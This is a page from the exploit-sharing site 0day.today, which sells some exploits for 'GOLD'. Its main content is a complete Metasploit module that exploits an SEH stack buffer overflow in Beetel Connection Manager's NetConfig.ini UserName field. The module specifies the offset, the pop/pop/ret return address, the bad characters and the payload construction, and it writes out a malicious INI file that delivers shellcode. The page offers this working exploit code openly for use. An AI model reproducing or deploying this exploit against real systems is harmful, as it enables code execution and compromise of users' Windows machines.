0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Beetel Connection Manager NetConfig.ini Buffer Overflow Vulnerability
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class Metasploit4 < Msf::Exploit Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow", 'Description' => %q{ This module exploits a stack-based buffer overflow on Beetel Connection Manager. The vulnerability exists in the parising of the UserName parameter in the NetConfig.ini file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP SP3 and Windows 7 SP1.b }, 'License' => MSF_LICENSE, 'Author' => [ "metacom", # Vuln/PoC "wvu" # Metasploit ], 'References' => [ [ "OSVDB", "98714" ], [ "EDB", "28969" ] ], 'Payload' => { "Space" => 1504, "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20", "DisableNops" => true }, 'Platform' => "win", 'Targets' => [ ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", { "Offset" => 468, "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) } ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 12 2013", 'DefaultTarget' => 0 )) register_options([ OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]), OptString.new("SECTION", [true, "Section name", "Edit Me"]) ], self.class) end def exploit section = datastore["SECTION"] sploit = "[#{section}]\r\n" \ "UserName=#{shell_popper}" file_create(sploit) end def shell_popper junk = rand_text(target["Offset"]) seh = generate_seh_record(target.ret) jump = Rex::Arch::X86.jmp_short(66) padding = rand_text(66) # Pad past buffer corruption junk << seh << jump << padding << payload.encoded end end # 0day.today [2024-12-23] #